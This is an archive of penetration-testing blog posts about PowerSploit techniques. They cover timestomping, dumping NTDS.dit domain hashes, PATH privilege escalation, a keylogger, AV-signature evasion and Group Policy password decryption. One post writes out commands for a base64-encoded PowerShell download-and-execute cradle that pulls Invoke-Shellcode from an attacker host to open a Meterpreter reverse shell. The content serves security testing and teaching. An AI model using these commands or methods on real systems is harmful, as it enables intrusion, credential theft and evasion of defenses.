Showing posts with label PowerSploit. Show all posts
Showing posts with label PowerSploit. Show all posts

Monday, May 19, 2014

Modifying MAC properties with PowerShell

Laziness is the demise of Red Team engagements. Whether it is writing PsExec to a user's desktop or writing other arbitrary binaries to disk, not being careful can lead to being discovered. One of the competitors of this year's National CCDC mentioned to me that his team focused on discovering files created during the competition. If we were all being careful, that shouldn't work. Linux has the ability to modify file attributes with the "Touch" utility. Meterpreter has TimeStomp which works on Windows and makes it easy to blend your files with files around it by modifying the MACE attributes.

After a request to add the capability to PowerSploit, I wanted to figure out how to do it (I do prefer avoiding writing anything to disk, but there are times when it is unavoidable). I always thought that TimeStomp was black magic, but then I noticed the capability in Cobalt Strike's Beacon. I asked Raphael and he pointed me to a well-documented part of the Windows API. So naturally I headed over to pinvoke.net to check out the C# sample. It didn't take long to have a working function, but I got curious and found a .Net class to simplify the code. Armed with two working functions, I boarded the plane after ShowMeCon and wondered if it were possible to accomplish the task in a more "PowerShelly" (technical term) way.

Lets explore with Get-Member:


Wow, we can set the modified, accessed and created properties with Get-Item. That means we can simply run:


Nothing novel, but cool nonetheless. Some people would prefer a more "Touch" like capability, so I wrapped it all up in a function called Set-MacAttributes which will be added to PowerSploit soon:



I think its a prime example of why you should start by exploring cmdlets, then check out .Net and finally the API. It can save you a lot of time when you are building PowerShell tools. Obviously this won't stand up to forensic scrutiny like TimeStomp will, but it will definitely serve the purpose of hiding files in plain sight.

-Chris



Monday, March 31, 2014

Retrieving NTDS.dit without a Shell on the DC

It has been increasingly common for organizations to prevent external or outbound connections from their domain controllers. I have seen some use the Windows Firewall, others use non-routable IP addresses and others have installed third-party software to prevent any type of remote access. These are all recommended practices, but some security administrators wrongfully assume that their domain hashes are safe simply because they believe that it is impossible to get a meterpreter shell on any of their DCs.

Sometimes you really have to work to gain Domain Admin privileges, and other times you don't. On more than one occasion (read 2) I have been able to guess a webserver password for Symantec NetBackup servers. The first time, there didn't appear to be a obvious way of converting that access to code execution, but one of the features of the product is the ability to generate custom reports. The report generation utility can be used to generate custom database queries against a Sybase database. Sybase typically runs as SYSTEM and can be used to run commands. Combine that with PowerShell and achieving a memory-resident shell, regardless of AV product,was trivial with PowerSploit.

Armed with a fully-privileged shell on a seldom used backup server, I was in business. First lets look at the tokens on the box:



It looks like the service account is a domain admin and we can impersonate it by migrating into the netbackup service. Now its time to get the hashes and then start going after what really matters - the data. Unfortunately, I could not get the DC to initiate an outbound connection of any kind. Some combination of configuration and/or security products were preventing me from getting a shell on the DC. Without really knowing what is blocking our shells, we needed a safe way to dump the domain hashes. One method that is almost always AV-safe is to use built-in tools. There are write-ups on one method of copying the NTDS.dit, but I prefer a simpler one:


This technique relies on the Ntdsutil binary which ships with Server 2008, but may be found on 2003 servers as well. Next, we can do something similar to obtain the SYSTEM file and download them both with Meterpreter:


Armed with the database and SYSTEM files, you can continue with extracting the hashes offline. May not work in all situations, but it is another way to dump the domain hashes quickly once gaining "domain admin" rights.

-Chris

Sunday, February 23, 2014

The $env:PATH Less Traveled: Subverting Trust with 3rd-Party Applications

Some of easiest and most effective privilege escalation attacks don't rely on vulnerabilities, but rather on misconfigurations. One common misconfiguration that is often overlooked by testers involves the Windows environment variable PATH. The PATH is considered a trusted part of the operating system. The PATH is consulted by nearly every application on a running system and one rogue entry is all that is needed to take administrative control of a system.

What happens when a 3rd-party application writes its installation directory to the PATH? If the NTFS permissions of the directory aren't properly applied, then that software has a clear vulnerability. But what if they only recommend that YOU place their insecure directories in the PATH? No vulnerability to report except the one that is now on your system. Generally, an attack against Windows that leverages a 3rd-party application isn't considered a vulnerability according to their "10 Immutable Laws of Security". So its not Microsoft's fault and its not the vendor's fault.

If at this point you are thinking "Oh great, another DLL-preloading write-up...", please hold on. Although that is still a very common and valid attack, this is slightly different. Lets see what happens when the Python installation meets a feature (or flaw) of PowerShell v3 which allows us to potentially privilege escalate in a multi-user environment.

First, lets install Python on a Windows 7 machine with appropriate WMF installed.

Now we can follow the recommendation to add Python to the PATH environment thereby making our machine more vulnerable to privilege escalation attacks. To be clear, we are already vulnerable due to default permissions of the installer. Any user can replace a binary and wait for another user or process to execute python. I have successfully attacked this scenario before in an engagement, but it relies on the binary being used by a more privileged account. It could also introduce other DLL preloading opportunities to binaries that wouldn't otherwise have them (its been a fun challenge to figure out how to reliably find these conditions with a script). Those binaries could be services which could be leveraged with a simple file write and reboot without the admin interaction requirement.



Now as a low-privilege user we can write anything we want to the 'C:\Python' directory. We want to elevate our privileges on a modern Windows system and have exhausted other methods. Here is where the bug in PowerShell v3 becomes useful. Anytime you interact with the PowerShell console, either with enter or tab, the PATH is searched for the existence of 'PSConsoleHostReadline'. You can read more about why that feature was introduced here. Here is what it looks like in Process Monitor:



Now we need to create a simple function and drop a PSConsoleHostReadline.CMD (or any of the extensions in the screenshot above) into any of the searched Python directories.


What command should we run? My first thought was to use the one described here. But the problem is that once PowerShell is run, it will attempt to execute the file each time a line is entered. That would be problematic and could potentially put it in a loop. It can be done, but for simplicity lets take our limited user account and add it to the administrators group. Once an administrator invokes PowerShell.exe on the box:


Escalation achieved.

So in order for this particular attack to work, it would require:

     1. An application that installs with insecure permissions (such as the default at 'C:\').
     2. That application's path being added to the PATH either by the install or after.
     3. PowerShell being at Version 3 (default on Windows 8).
     4. A privileged account executing PowerShell on the box.

Maybe this scenario is a bit far-fetched, but let me assure you that there are lots of applications that automatically add themselves to PATH and allow "Authenticated Users" to write to their directory. To see how common this and other permissions-based vulnerabilities are, I tested the new functions against over 1000 common Windows installations. The result has me buried in the disclosure process with several projects. My hope is to reference this blog post to speed things along enough to present my findings (with references to the vulnerable software) at a conference or two this Summer and Fall. I also look forward to polishing the scripts up so they can be integrated with PowerSploit this Spring.

Lastly, this post came about from a series of discussions with Matt about the new privilege escalation functions that will be added to PowerSploit and the about the PATH. He discovered the potential for misuse of the feature in PowerShell and reported it to Microsoft a year ago (it was subsequently removed from version 4 of PowerShell). He also brought up a few other potential attack vectors like PowerShell profiles and modules. After all, this is just one example of how applications that subvert the trusted PATH can be exploited.

-Chris



Monday, February 10, 2014

Resolving Hostnames with PowerShell and the Pipeline

Thanks to Matt, PowerSploit has had a function to resolve hostnames to IP addresses for a while. The Invoke-ReverseDnsLookup utility is useful in mapping a domain from inside or out. Often, organizations use overly-descriptive names which can help an attacker narrow down their targets during initial recon and again once they have a foothold on the inside of a network. If you haven't used it, you should check it out.

Recently, we added support for two things to the function which I found helpful on a recent engagement. Both are simple enhancements that come with the PowerShell language that you may want to implement in your tools.

The first is the use of the Write-Verbose cmdlet which is a Common Parameter. That means it comes free when you declare your parameters with "[CmdletBinding()]" and then can be called by adding the "-verbose" switch when the function is called. Optionally, it can be enabled by changing $VerbosePreference, but by default it doesn't show anything. In the case of Invoke-ReverseDnsLookup, I added it to the function to be able to see what IP address it was currently trying to resolve. Since verbose statements are written to the console and not the output pipeline, you can use any of the "out-*" without it being cluttered with messages.


The next feature of PowerShell that we added is support for input from the pipeline. Pipeline input allows functions to be chained together and allows developers to focus on doing one thing. Where input is coming from and how the output is parsed or stored should be handled by the user. For example, I had a text file of several different network ranges and IP addresses that I wanted to be able to pass to Invoke-ReverseDnsLookup, but it didn't support it. Fortunately, it is simple to add support to your tools. The first thing you need to do is decide what logic (if any) only needs to happen once at the beginning or at the end of the script. In our case, Matt wrote a function to break out and validate CIDR ranges into individual addresses. We don't need to declare that function for every IP address, so we will create a BEGIN script block:


The only required script block is PROCESS. That is the part that will do the work on each object coming down the pipeline. You can see the PROCESS block above and how the current IP address in the pipeline is reference with the pipeline variable ($_). Once the PROCESS block is done, the optional END block does any post-processing for the function.



Certainly nothing ground-breaking here, but I thought I would share some neat features of PowerShell and how they can be applied to your tools. It may give you some insight into the "why" behind some of the functions in PowerSploit. Thank you for reading.

Friday, July 19, 2013

Guest Blog Posts and Cons

I had the pleasure of writing a few guest blogs in the last few weeks. If you haven't read them, please check them out:

"Using the Windows API and Copy-RawItem to Access Sensitive Password Files" on Microsoft's "Hey, Scripting Guy! Blog" The post covers how to use PowerShell and volume shadow copy to safely copy either the NTDS.dit or SAM files while running as admin. The accompanying script figures out if its running on a DC or not, finds the actual location of the NTDS.dit file from the registry (often installed on a different disk) and returns the VSS service to its original state. You can find the script here. Although useful in a pinch, there are niftier methods out there.

"PowerSploit: The Easiest Shell You’ll Ever Get" on Pentest Geek. The post is a tutorial on the easiest way I know to avoid AV and get a Meterpreter shell from GUI access. I also included a simple Python script (in a PowerShell post, really?) to configure the handler for you. You can check that out here, you may find it useful. The Pentest Geek blog is already full of great posts, you should definitely check it out and contribute!

"WMIS: The Missing Piece of the Ownage Puzzle" on the Passing-the-Hash blog. The post builds on the concepts introduced in the PowerSploit post on Pentest Geek. I wrote about how to use WMIS to get a Meterpreter shell with one command using PowerShell. It is extremely effective, and we will be releasing a tool to automate the entire process very soon.

Also, I look forward to seeing you again at both Blackhat and Derbycon. Skip and I will be discussing ways to mitigate the threat of the Pass-the-Hash attack at both conferences. Matt and I will be presenting "A Minimalist's Guide to Windows Post-Exploitation" at both BsidesAugusta and Derbycon. Thanks for reading and thanks for contributing to this great community.

-Chris

Wednesday, July 3, 2013

Get-GPPPassword Redux

Its been over a year since I threw together the original Get-GPPPassword on a short flight and I was really having a hard time even looking at the code. In addition to a nagging bug, it needed to be rewritten and updated to include all the great recommendations from you guys. Its amazing how often I still see local passwords being enforced with Group Policy preferences. For some reason it actually feels like the problem is getting worse even with Microsoft's blatant warnings in Server 2012. The other issue that I have seen is that when administrators stop using preferences, the old XML file is not deleted. On more than one engagement I have found an old password which helped me guess the current one. We need to keep hammering at this poor practice.

Additionally, one of the things that jumped out at me while reworking this script is the simplicity of this task in PowerShell. Compared to accomplishing the same task in Ruby, PowerShell's XML parsing really gives it an edge. A lot of security professionals could benefit by spending a few days to learn it and Carlos Perez is teaching an awesome class at Derbycon!

Updates:

General flow, performance and bug fixes including better error handling and a fix for the problem with how the base64-encoded string was being padded.

Support for parsing not only groups.xml,  but also scheduledtasks.xml, services.xml and datasources.xml. The original post that inspired me to write the function appears to be down, but there have been other posts that point out that passwords can be stored in other Group Policy preference files as well. I attempted to create each one of those XML files and created logic for the 4 that seem used.

Ryan Ries pointed out that the script could easily be pointed at the domain controller which removes the need for any parameters and makes the script easier to run:


I broke out the decryption function (Get-DecryptedCPassword) If you want to decrypt a password offline, you can use that.

As always, the most current version of the Get-GPPPassword is available from the PowerSploit Github page. Thanks for reading, keep the comments and recommendations coming and join Skip Duckwall and I at BlackHat where we will briefly discuss Group Policy preferences in relation to the Pass-the-Hash attack with practical mitigation techniques.

-Chris

Sunday, June 30, 2013

Logging Keys with PowerShell: Get-Keystroke

I was recently inspired by Matt Graeber's series of posts on Microsoft's "Hey, Scripting Guy! Blog" to go back and look at old scripts and implement reflection. One of the scripts that I use regularly and mentioned in a previous post is a keylogger. Generally, I use keyloggers in one of two ways. The first way is to keep a record of every key I press with a timestamp for logging purposes during pentests or incident response activities. The other is to collect password credentials in a post-exploitation scenario. Both of these scenarios require a script that has a minimal forensic footprint.

There are a lot of keyloggers out there that make use of GetAsyncKeyState, GetKeyboardState and VirtualKeyCode and if you have ever written or used one, you know it isn't an exact science. There are even examples of other PowerShell keyloggers. A preferred method would be to hook each window with SetWindowsHookEx but there are several security products that flag on that behavior, so I avoided it.

In the script that originally wrote early last year, I made use of Add-Type to interact with user32.dll (it was included in the Invoke-TwitterBot presentation ). If you have read Matt's posts, then you understand why that is not ideal. A few requirements that I had were tracking of special characters such as [Shift] and [Caps Lock] which are really important. VirtualKeyCode doesn't track all common characters so I had to map the other ones:



I also needed to capture the window title and a date time group which is really simple once you load GetForegroundWindow:


Ultimately, the exercise of properly using reflection proved too much of a challenge for me and I reached out to the professional. Matt made short work of it and together we have a script that meets the standards for inclusion in the PowerSploit project:


The full script is available on the PowerSploit Github page. We hope you find the script useful.

-Chris

Thursday, March 28, 2013

PowerSploit + Metasploit = Shells

Metasploit has supported psexec-like functionality with pass-the-hash for several years. Unfortunately, its mostly useless when an AV product is there to delete the uploaded service binary. Recently, a module (/auxiliary/admin/smb/psexec_command) was created that allows you to run a single Windows command with discovered hashes or credentials. This doesn't flag AV, but isn't the full meterpreter shell that we're use to. How can we turn one command into a meterpreter shell?  With PowerSploit and Matt Graeber's Invoke-Shellcode!

The basic steps:


Kali Linux is awesome, but the version of PowerSploit is currently outdated, so lets pull down the script we will eventually run:

wget -O /var/www/payload https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1

Next we need to append the appropriate function call with LHOST and LPORT parameters and ensure that Apache is running.

echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force" >> /var/www/payload

strings -es /var/www/payload


Call to Function Added
Now that we have the script hosted, we need to build the command we want to execute. Although we could encode the entire command, I have found that building a small staging script is far more reliable. We can use the same method as described in a previous post.

Basically, we are going to Base64 encode our short script block which will pull down the rest of our script: 

scriptblock="iex (New-Object Net.WebClient).DownloadString("http://$lhost/payload")"
encode="`echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0`"
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
echo $command


Now we fill in the rest of the settings of the module (either a password or hash) and use the COMMAND parameter to the encoded command:

Add Command to psexec_command
Next, we start the multi/handler with reverse_https:

Set Up Handler
Finally, we run the module. This uploads a service binary to run our single command. The single command is an encoded PowerShell script which is pulling down the larger Invoke-Shellcode script. Invoke-Shellcode is determining whether the system is x86 or x64, and injecting meterpreter shellcode into an appropriate process:

Get Your Shell
The end result is a meterpreter shell without writing anything more to disk than the psexec_command module does (notice the less than ideal bat files in the above screenshot). This method has proven to be reliable for me over the last few months with lots of other tools as well. I hope you find it useful and maybe someone will be inspired to automate this all into a single module.

As soon as the PTH-Suite is ported to Kali, I hope to show you how to accomplish all of this without writing anything to disk!

***Updated 8/8/2013
So after a few comments and working through encoding issues with several people I finally realized that the actual posted code was incomplete. Instead of working from the post, I continued to work from my own script which was just simply not smart. So I added a screenshot for extra clarity and I apologize to anyone that this frustrated. On the positive side, now there are loads of other ways to pull this off which I wrote about here and you can read more about here and here.


-Chris

Monday, January 14, 2013

Automating Screenshots with PowerShell

Penetration tests can become very hectic at a moment's notice. One second you are casually reviewing HTML source for a target website and the next dropping a webshell and hooking browsers before staying up all night trying to gain persistent domain-admin access to the enterprise. Keeping notes during hectic times can be difficult, tedious and potentially distracting. Sometimes, it pays to have something taking notes for you. I like to utilize both a key-logger that does time stamping and take frequent screenshots.

There are applications that can take screenshots for you at regular intervals and in the past I used an AutoIt macro to printscreen and save. That works well when I am on my own machine, but what if I was at a kiosk or doing an insider assessment from one of their workstations? I needed a PowerShell script that could take a screenshot at regular intervals, time stamp it, save it to a file and not tamper with the contents of the clipboard.

While looking for a good script to start from, I found this one that uses inline C# which seemed a little over-the-top. Another one seemed simple and straight-forward so I started working with it. After getting the function built, I was quickly annoyed with data from the clipboard disappearing. I knew I had to find another way. After digging through MSDN for an hour, I found the Bitmap Class and the System Info Class.

After loading the System.Windows.Forms assembly, I created a function that will be called to take the screenshot and save it to the disk:


Next we need a way to distinguish each file and a way to stamp them with the time it was taken:


Now we just need to settle on parameters, add this to a do-while loop and wrap the whole thing in a try-catch block. The result is Get-TimedScreenshot:

Get-TimedScreenshot     

Instead of downloading or installing additional software, we now have a script that will take periodic screenshots.  The images can be large so I wouldn't recommend leaving it running overnight, but its great to help you fill in gaps in note-taking at the end of a long hacking session.

***Updated 8/6/2013: The maintained version of this script can by found within the PowerSploit framework here.



There is also a clear post-exploitation use for the function. You can schedule it to run and maybe add a check to see if the screensaver is running to make sure you aren't wasting space. I think the function is pretty flexible and with event triggering and an email function could potentially be used as a simple parental alert system. As is, it works for my purposes which is to remind me what I did today. I hope you find it useful and thanks for reading. In case you were wondering, it works well with multiple monitor setups:



Please let me know if you have any issues, bugs or questions. Hopefully, I will see you at Shmoocon and Firetalks. Also, if you are in town, check out Shmoocon Epilogue.  The other talks look really good, but I get the chance to present "No Tools? No Problem! Building a PowerShell Bot." It will cover chaining simple tasks like this one into a nefarious PowerShell script.

-Chris

Wednesday, December 12, 2012

Finding Simple AV Signatures with PowerShell

As a penetration tester, one of the best methods of dealing with antivirus products is to avoid them all together.  Most AV products work by analyzing binaries that have been written to the disk. If you don't write a PE (i.e. exe, dll, etc...) to the hard drive, you don't have to worry about the majority of AV products. This is typically accomplished by utilizing memory-resident tools such as Meterpreter executed with the Inject-Shellcode PowerShell script.

There could be situations when avoiding a specific AV product is impractical or unnecessary. If the product is strictly signature-based, there are many ways in which a binary can be modified to avoid the signature. There are plenty of tutorials which utilize "crypters" or "binders" to obfuscate a PE from AV, but there can sometimes be an easier way. Several years ago, the tool "DSplit" was released by class101 which was used to demonstrate how some AV signatures could be bypassed by finding and modifying one byte within the binary. Unfortunately, the original file (and source code?) is no longer available for download by the author. Since the method still works, we decided to create a similar PowerShell script with a few improvements:  

Find-AVSignature Function

To demonstrate how to use the function, we will take the Netcat for Windows binary and avoid the signature in Symantec's AV. Obviously, an easier way to avoid AV is to modify the source code and recompile, but its a good example nonetheless. To utilize the function, copy and paste it into PowerShell. Next create a folder exemption within the AV product so that you can write it safely to the disk and create a custom scan folder in order to output the split binaries to (or allow the script to do it for you).

The next step is to run the function against the binary and output several binary files starting from the first byte (0) and ending with progressively larger file sizes. For this example, we are specifying the parameters for StartByte (0), EndByte (max) and Interval (10000).  The verbose output illustrates how the file is being created when written to disk:  


After the AV product has cleaned the output folder of every file that contains the signature, we are left with a binary containing the bytes from 0 to 10000. We can now assume that the signature exists somewhere between byte 10000 and 20000 since our interval was 10000 bytes and the first binary to be deleted was the one containing bytes up to 20000.

Now we can continue the process with a smaller interval (1000) and focus on the StartByte (10000) and EndByte (20000) that we discovered in the previous step:


Again, we let the AV product detect and delete the offending binaries and see what we are left with. The interval should progressively get smaller and in this case is down to 100:


The next interval is 10:


Finally, we can use a byte interval of 1 to see if the signature is flagging on a single byte in the binary:


It appears that we have found the offending byte by allowing Symantec to delete everything containing it.


The last byte that was deleted is what needs to be changed in order for the signature to not match. We can now use your favorite hex editor (or PowerShell) to modify the byte to something that won't disrupt the application. It is typical for AV vendors to flag on error messages, copyright notices or other strings which don't affect the executable if modified.  Other times, you may need to reverse engineer the binary or use trial-and-error to find a character that will work.


The final step is to test the new binary to ensure that it doesn't flag AV and operates as intended. If it does flag, then it could be possible to repeat the entire process. Some signatures may flag on bytes that would cause the application to not function, in which case you would have to utilize a different method. However, in our example Netcat functions perfectly and doesn't flag AV:


Signature-based products will always struggle with this and similar problems and shouldn't be completely relied upon for security. It should be obvious that this entire process could be automated, but I leave that as an exercise to the reader. As always, utilize this information responsibly and ethically. If you have any questions please let me know. Find-AVSignature has been added to the PowerSploit project!

-Chris

Wednesday, August 15, 2012

Scanning SharePoint with PowerShell

A few months ago, I published Get-HttpStatus - a PowerShell function that aides in generic directory and file fuzzing.  In order to get it added to PowerSploit, Matt suggested several improvements and eventually made a few of his own.  The function supports SSL and includes several dictionaries derived from other projects such as Nikto, Yokoso and SharepointURLbrute.  Without dictionaries, the function is pretty useless so a big thanks goes out to the developers of each of those tools and the hard work that went into creating the file and directory dictionaries.   

Lets take a look at one specific use-case for Get-HttpStatus - scanning a SharePoint installation.  We can start by opening PowerShell and copying and pasting the function into the shell.


Next we provide the function a target website and the path to the dictionary file.

In this example, there is an interesting directory and file that is accessible without credentials.  Lets check it out:


It appears that we may have the ability to increase permissions by adding users to different groups on the server.  That is definitely a security finding that could aid in a penetration test.  As with other scripts and functions that are added to the PowerSploit project, the maintained version is available on the github site.

Get-HttpStatus Function

Please check out the other dictionaries and let me know if you see any other use cases for this script.  Thanks for checking this out and if you haven't bought your DerbyCon tickets yet, you should do so! If you are interested in PowerShell and security, Carlos Perez is teaching one of the first courses on the topic: "Introduction to PowerShell for Security Professionals" at this year's DerbyCon so sign up for it.  I can't wait!

-Chris